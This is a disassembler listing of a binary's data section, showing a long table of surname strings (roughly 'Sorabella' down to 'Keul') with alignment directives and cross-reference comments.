aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo
align 4
aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o
align 10h
aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o
aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o
align 4
aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo
align 4
aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o
align 4
aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o
align 4
aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o
align 4
aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co
align 4
aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o
align 10h
aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o
aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co
align 4
aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o
align 10h
aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o
aShia db 'Shia',0 ; DATA XREF: ___:0042E880o
align 10h
aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o
align 4
aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co
align 4
aShea db 'Shea',0 ; DATA XREF: ___:0042E868o
align 4
aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o
aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co
align 4
aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o
aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o
align 4
aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o
align 4
aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o
aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o
align 4
aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o
align 4
aSennett db 'Sennett',0 ; DATA XREF: ___:0042E83Co
aSen db 'Sen',0 ; DATA XREF: ___:0042E838o
aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E834o
aSekler db 'Sekler',0 ; DATA XREF: ___:0042E830o
align 4
aSegal db 'Segal',0 ; DATA XREF: ___:0042E82Co
align 4
aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E828o
align 4
aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E824o
align 4
aScudder db 'Scudder',0 ; DATA XREF: ___:0042E820o
aScovel db 'Scovel',0 ; DATA XREF: ___:0042E81Co
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E818o
aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E814o
align 10h
aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E810o
align 4
aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E80Co
aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E808o
aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E804o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E800o
aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E7FCo
align 10h
aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E7F8o
align 4
aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E7F4o
aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E7F0o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E7ECo
aScharf db 'Scharf',0 ; DATA XREF: ___:0042E7E8o
align 4
aScepan db 'Scepan',0 ; DATA XREF: ___:0042E7E4o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E7E0o
align 4
aSayied db 'Sayied',0 ; DATA XREF: ___:0042E7DCo
align 10h
aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E7D8o
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E7D4o
align 4
aSatta db 'Satta',0 ; DATA XREF: ___:0042E7D0o
align 10h
aSatin db 'Satin',0 ; DATA XREF: ___:0042E7CCo
align 4
aSase db 'Sase',0 ; DATA XREF: ___:0042E7C8o
align 10h
aSartore db 'Sartore',0 ; DATA XREF: ___:0042E7C4o
aSarin db 'Sarin',0 ; DATA XREF: ___:0042E7C0o
align 10h
aSapers db 'Sapers',0 ; DATA XREF: ___:0042E7BCo
align 4
aSanna db 'Sanna',0 ; DATA XREF: ___:0042E7B8o
align 10h
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E7B4o
aSamson db 'Samson',0 ; DATA XREF: ___:0042E7B0o
align 4
aSali db 'Sali',0 ; DATA XREF: ___:0042E7ACo
align 10h
aSahu db 'Sahu',0 ; DATA XREF: ___:0042E7A8o
align 4
aSafire db 'Safire',0 ; DATA XREF: ___:0042E7A4o
align 10h
aSadler db 'Sadler',0 ; DATA XREF: ___:0042E7A0o
align 4
aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E79Co
align 4
aRyu db 'Ryu',0 ; DATA XREF: ___:0042E798o
aRush db 'Rush',0 ; DATA XREF: ___:0042E794o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E790o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E78Co
align 4
aRuan db 'Ruan',0 ; DATA XREF: ___:0042E788o
align 10h
aRu db 'Ru',0 ; DATA XREF: ___:0042E784o
align 4
aRoyal db 'Royal',0 ; DATA XREF: ___:0042E780o
align 4
aRow db 'Row',0 ; DATA XREF: ___:0042E77Co
aRonen db 'Ronen',0 ; DATA XREF: ___:0042E778o
align 4
aRogers db 'Rogers',0 ; DATA XREF: ___:0042E774o
align 10h
aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E770o
aRocha db 'Rocha',0 ; DATA XREF: ___:0042E76Co
align 10h
aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E768o
align 4
aRivera db 'Rivera',0 ; DATA XREF: ___:0042E764o
align 4
aRish db 'Rish',0 ; DATA XREF: ___:0042E760o
align 4
aRineer db 'Rineer',0 ; DATA XREF: ___:0042E75Co
align 4
aRindos db 'Rindos',0 ; DATA XREF: ___:0042E758o
align 4
aRielly db 'Rielly',0 ; DATA XREF: ___:0042E754o
align 4
aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E750o
align 10h
aRhea db 'Rhea',0 ; DATA XREF: ___:0042E74Co
align 4
aResnik db 'Resnik',0 ; DATA XREF: ___:0042E748o
align 10h
aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E744o
aRenick db 'Renick',0 ; DATA XREF: ___:0042E740o
align 10h
aRemak db 'Remak',0 ; DATA XREF: ___:0042E73Co
align 4
aReinold db 'Reinold',0 ; DATA XREF: ___:0042E738o
aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E734o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E730o
align 4
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E72Co
align 4
aRayport db 'Rayport',0 ; DATA XREF: ___:0042E728o
aRapple db 'Rapple',0 ; DATA XREF: ___:0042E724o
align 4
aRankin db 'Rankin',0 ; DATA XREF: ___:0042E720o
align 10h
aRangan db 'Rangan',0 ; DATA XREF: ___:0042E71Co
align 4
aRaney db 'Raney',0 ; DATA XREF: ___:0042E718o
align 10h
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E714o
aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E710o
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E70Co
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0042E708o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E704o
align 4
aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E700o
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E6FCo
aPugh db 'Pugh',0 ; DATA XREF: ___:0042E6F8o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E6F4o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E6F0o
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0042E6ECo
align 4
aPritz db 'Pritz',0 ; DATA XREF: ___:0042E6E8o
align 10h
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E6E4o
align 4
aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E6E0o
aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E6DCo
aPresper db 'Presper',0 ; DATA XREF: ___:0042E6D8o
aPowers db 'Powers',0 ; DATA XREF: ___:0042E6D4o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E6D0o
aPoma db 'Poma',0 ; DATA XREF: ___:0042E6CCo
align 4
aPolitis db 'Politis',0 ; DATA XREF: ___:0042E6C8o
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E6C4o
aPolak db 'Polak',0 ; DATA XREF: ___:0042E6C0o
align 4
aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E6BCo
aPointer db 'Pointer',0 ; DATA XREF: ___:0042E6B8o
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E6B4o
align 10h
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E6B0o
align 4
aPo db 'Po',0 ; DATA XREF: ___:0042E6ACo
align 10h
aPlous db 'Plous',0 ; DATA XREF: ___:0042E6A8o
align 4
aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E6A4o
aPlant db 'Plant',0 ; DATA XREF: ___:0042E6A0o
align 4
aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E69Co
aPinot db 'Pinot',0 ; DATA XREF: ___:0042E698o
align 4
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E694o
aPfister db 'Pfister',0 ; DATA XREF: ___:0042E690o
aPettit db 'Pettit',0 ; DATA XREF: ___:0042E68Co
align 10h
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E688o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E684o
align 4
aPeters db 'Peters',0 ; DATA XREF: ___:0042E680o
align 10h
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E67Co
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0042E678o
align 4
aPerna db 'Perna',0 ; DATA XREF: ___:0042E674o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E670o
aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E66Co
align 4
aPerko db 'Perko',0 ; DATA XREF: ___:0042E668o
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0042E664o
aPenny db 'Penny',0 ; DATA XREF: ___:0042E660o
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E65Co
aPederson db 'Pederson',0 ; DATA XREF: ___:0042E658o
align 4
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E654o
align 4
aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E650o
aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E64Co
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E648o
align 10h
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E644o
align 4
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E640o
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E63Co
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E638o
aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E634o
align 10h
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E630o
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E62Co
align 4
aParris db 'Parris',0 ; DATA XREF: ___:0042E628o
align 10h
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E624o
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E620o
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E61Co
align 4
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E618o
align 10h
aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E614o
align 4
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E610o
align 4
aPallara db 'Pallara',0 ; DATA XREF: ___:0042E60Co
aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E608o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E604o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0042E600o
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E5FCo
align 4
aOvid db 'Ovid',0 ; DATA XREF: ___:0042E5F8o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E5F4o
aOtten db 'Otten',0 ; DATA XREF: ___:0042E5F0o
align 4
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E5ECo
align 10h
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E5E8o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0042E5E4o
align 4
aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E5E0o
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E5DCo
aOray db 'Oray',0 ; DATA XREF: ___:0042E5D8o
align 4
aOpel db 'Opel',0 ; DATA XREF: ___:0042E5D4o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E5D0o
aOman db 'Oman',0 ; DATA XREF: ___:0042E5CCo
align 4
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E5C8o
align 10h
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E5C4o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0042E5C0o
align 4
aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E5BCo
align 4
aOldford db 'Oldford',0 ; DATA XREF: ___:0042E5B8o
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E5B4o
aOh db 'Oh',0 ; DATA XREF: ___:0042E5B0o
align 10h
aOgata db 'Ogata',0 ; DATA XREF: ___:0042E5ACo
align 4
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E5A8o
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E5A4o
align 4
aNotman db 'Notman',0 ; DATA XREF: ___:0042E5A0o
align 10h
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E59Co
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E598o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E594o
align 4
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E590o
align 10h
aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E58Co
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0042E588o
align 4
aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E584o
align 10h
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E580o
aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E57Co
align 10h
aNesci db 'Nesci',0 ; DATA XREF: ___:0042E578o
align 4
aNenna db 'Nenna',0 ; DATA XREF: ___:0042E574o
align 10h
aNelson db 'Nelson',0 ; DATA XREF: ___:0042E570o
align 4
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E56Co
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E568o
aNardone db 'Nardone',0 ; DATA XREF: ___:0042E564o
aNardi db 'Nardi',0 ; DATA XREF: ___:0042E560o
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E55Co
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E558o
align 4
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E554o
align 4
aMumford db 'Mumford',0 ; DATA XREF: ___:0042E550o
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E54Co
align 4
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E548o
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E544o
align 4
aMuello db 'Muello',0 ; DATA XREF: ___:0042E540o
align 10h
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E53Co
aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E538o
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E534o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0042E530o
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0042E52Co
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E528o
align 4
aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E524o
align 10h
aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E520o
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E51Co
aMorani db 'Morani',0 ; DATA XREF: ___:0042E518o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E514o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E510o
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0042E50Co
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E508o
align 4
aMohr db 'Mohr',0 ; DATA XREF: ___:0042E504o
align 10h
aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E500o
aModestino db 'Modestino',0 ; DATA XREF: ___:0042E4FCo
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E4F8o
aMittal db 'Mittal',0 ; DATA XREF: ___:0042E4F4o
align 4
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E4F0o
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E4ECo
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E4E8o
aMini db 'Mini',0 ; DATA XREF: ___:0042E4E4o
align 10h
aMinh db 'Minh',0 ; DATA XREF: ___:0042E4E0o
align 4
aMills db 'Mills',0 ; DATA XREF: ___:0042E4DCo
align 10h
aMieher db 'Mieher',0 ; DATA XREF: ___:0042E4D8o
align 4
aMiddle db 'Middle',0 ; DATA XREF: ___:0042E4D4o
align 10h
aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E4D0o
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E4CCo
align 4
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E4C8o
align 10h
aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E4C4o
aMerz db 'Merz',0 ; DATA XREF: ___:0042E4C0o
align 10h
aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E4BCo
aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E4B8o
align 4
aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E4B4o
aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E4B0o
align 4
aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E4ACo
aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E4A8o
align 4
aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E4A4o
aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E4A0o
aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E49Co
aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E498o
aMclane db 'Mclane',0 ; DATA XREF: ___:0042E494o
align 4
aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E490o
aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E48Co
align 4
aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E488o
aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E484o
align 10h
aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E480o
align 4
aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E47Co
align 4
aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E478o
aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E474o
align 4
aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E470o
align 4
aMccall db 'Mccall',0 ; DATA XREF: ___:0042E46Co
align 4
aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E468o
align 4
aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E464o
aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E460o
align 4
aMazzali db 'Mazzali',0
aMay db 'May',0
aMauzy db 'Mauzy',0
align 10h
aMattson db 'Mattson',0
aMatsukata db 'Matsukata',0
align 4
aMatarazzo db 'Matarazzo',0
align 10h
aMatalka db 'Matalka',0
aMass db 'Mass',0
align 10h
aMarubini db 'Marubini',0
align 4
aMarton db 'Marton',0
align 4
aMartochio db 'Martochio',0
align 10h
aMartinez db 'Martinez',0
align 4
aMarques db 'Marques',0
aMargetts db 'Margetts',0
align 10h
aMargalit db 'Margalit',0
align 4
aMarcus db 'Marcus',0
align 4
aMarchbanks db 'Marchbanks',0
align 10h
aMarch db 'March',0
align 4
aMantovan db 'Mantovan',0
align 4
aManganiello db 'Manganiello',0
aMandel db 'Mandel',0
align 4
aManalis db 'Manalis',0
aMalova db 'Malova',0
align 4
aMaller db 'Maller',0
align 10h
aMalatesta db 'Malatesta',0
align 4
aMaisano db 'Maisano',0
aMaineHershey db 'Maine-Hershey',0
align 4
aMaier db 'Maier',0
align 4
aMahony db 'Mahony',0
align 4
aMaggio db 'Maggio',0
align 4
aMadigan db 'Madigan',0
aMacy db 'Macy',0
align 4
aMacmillan db 'MacMillan',0
align 4
aMackenney db 'Mackenney',0
align 4
aMacintyre db 'Macintyre',0
align 10h
aMaceachern db 'Maceachern',0
align 4
aMacdonald db 'Macdonald',0
align 4
aMaccormac db 'Maccormac',0
align 4
aMa db 'Ma',0 ; DATA XREF: ___:0042E3C4o
align 4
aLuzader db 'Luzader',0 ; DATA XREF: ___:0042E3C0o
aLutcavage db 'Lutcavage',0 ; DATA XREF: ___:0042E3BCo
align 4
aLussier db 'Lussier',0 ; DATA XREF: ___:0042E3B8o
aLuoma db 'Luoma',0 ; DATA XREF: ___:0042E3B4o
align 4
aLunetta db 'Lunetta',0 ; DATA XREF: ___:0042E3B0o
aLuecke db 'Luecke',0 ; DATA XREF: ___:0042E3ACo
align 4
aLuczkow db 'Luczkow',0 ; DATA XREF: ___:0042E3A8o
aLuciano db 'Luciano',0 ; DATA XREF: ___:0042E3A4o
aLucas db 'Lucas',0 ; DATA XREF: ___:0042E3A0o
align 4
aLubin db 'Lubin',0 ; DATA XREF: ___:0042E39Co
align 4
aLoza db 'Loza',0 ; DATA XREF: ___:0042E398o
align 4
aLowenstein db 'Lowenstein',0 ; DATA XREF: ___:0042E394o
align 10h
aLoveman db 'Loveman',0 ; DATA XREF: ___:0042E390o
aLoss db 'Loss',0 ; DATA XREF: ___:0042E38Co
align 10h
aLongworth db 'Longworth',0 ; DATA XREF: ___:0042E388o
align 4
aLocatelli db 'Locatelli',0 ; DATA XREF: ___:0042E384o
align 4
aLizardo db 'Lizardo',0 ; DATA XREF: ___:0042E380o
aLivolsi db 'Livolsi',0 ; DATA XREF: ___:0042E37Co
aLivi db 'Livi',0 ; DATA XREF: ___:0042E378o
align 10h
aLivernash db 'Livernash',0 ; DATA XREF: ___:0042E374o
align 4
aLitvak db 'Litvak',0 ; DATA XREF: ___:0042E370o
align 4
aLittle db 'Little',0 ; DATA XREF: ___:0042E36Co
align 4
aLipponen db 'Lipponen',0 ; DATA XREF: ___:0042E368o
align 4
aLippmann db 'Lippmann',0 ; DATA XREF: ___:0042E364o
align 4
aLinzee db 'Linzee',0 ; DATA XREF: ___:0042E360o
align 4
aLinehan db 'Linehan',0 ; DATA XREF: ___:0042E35Co
aLine db 'Line',0 ; DATA XREF: ___:0042E358o
align 4
aLinder db 'Linder',0 ; DATA XREF: ___:0042E354o
align 4
aLinda db 'Linda',0 ; DATA XREF: ___:0042E350o
align 4
aLinares db 'Linares',0 ; DATA XREF: ___:0042E34Co
aLim db 'Lim',0 ; DATA XREF: ___:0042E348o
aLightfoot db 'Lightfoot',0 ; DATA XREF: ___:0042E344o
align 4
aLight db 'Light',0 ; DATA XREF: ___:0042E340o
align 4
aLiem db 'Liem',0 ; DATA XREF: ___:0042E33Co
align 4
aLidano db 'Lidano',0 ; DATA XREF: ___:0042E338o
align 4
aLiakos db 'Liakos',0 ; DATA XREF: ___:0042E334o
align 4
aLessi db 'Lessi',0 ; DATA XREF: ___:0042E330o
align 4
aLesser db 'Lesser',0 ; DATA XREF: ___:0042E32Co
align 4
aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: ___:0042E328o
align 10h
aLenard db 'Lenard',0 ; DATA XREF: ___:0042E324o
align 4
aLeite db 'Leite',0 ; DATA XREF: ___:0042E320o
align 10h
aLeclercq db 'Leclercq',0 ; DATA XREF: ___:0042E31Co
align 4
aLecce db 'Lecce',0 ; DATA XREF: ___:0042E318o
align 4
aLecar db 'Lecar',0 ; DATA XREF: ___:0042E314o
align 4
aLawless db 'Lawless',0 ; DATA XREF: ___:0042E310o
aLashley db 'Lashley',0 ; DATA XREF: ___:0042E30Co
aLaserna db 'Laserna',0 ; DATA XREF: ___:0042E308o
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0042E304o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0042E300o
align 4
aLankes db 'Lankes',0 ; DATA XREF: ___:0042E2FCo
align 10h
aLandes db 'Landes',0 ; DATA XREF: ___:0042E2F8o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0042E2F4o
; ___:0043294Co
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0042E2F0o
align 4
aLafler db 'Lafler',0 ; DATA XREF: ___:0042E2ECo
; ___:off_4327E8o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0042E2E8o
aLa db 'La',0 ; DATA XREF: ___:0042E2E4o
align 10h
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0042E2E0o
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0042E2DCo
align 4
aKumar db 'Kumar',0 ; DATA XREF: ___:0042E2D8o
align 4
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0042E2D4o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0042E2D0o
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0042E2CCo
aKraus db 'Kraus',0 ; DATA XREF: ___:0042E2C8o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0042E2C4o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0042E2C0o
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0042E2BCo
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0042E2B8o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0042E2B4o
align 4
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0042E2B0o
align 10h
aKool db 'Kool',0 ; DATA XREF: ___:0042E2ACo
align 4
aKonrad db 'Konrad',0 ; DATA XREF: ___:0042E2A8o
align 10h
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0042E2A4o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0042E2A0o
align 4
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0042E29Co
align 10h
aKohn db 'Kohn',0 ; DATA XREF: ___:0042E298o
align 4
aKoch db 'Koch',0 ; DATA XREF: ___:0042E294o
align 10h
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0042E290o
aKnuff db 'Knuff',0 ; DATA XREF: ___:0042E28Co
align 10h
aKlint db 'Klint',0 ; DATA XREF: ___:0042E288o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0042E284o
aKling db 'Kling',0 ; DATA XREF: ___:0042E280o
align 4
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0042E27Co
align 4
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0042E278o
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0042E274o
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0042E270o
align 4
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0042E26Co
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0042E268o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0042E264o
align 4
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0042E260o
aKindall db 'Kindall',0 ; DATA XREF: ___:0042E25Co
aKimura db 'Kimura',0 ; DATA XREF: ___:0042E258o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0042E254o
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0042E250o
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0042E24Co
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0042E248o
align 4
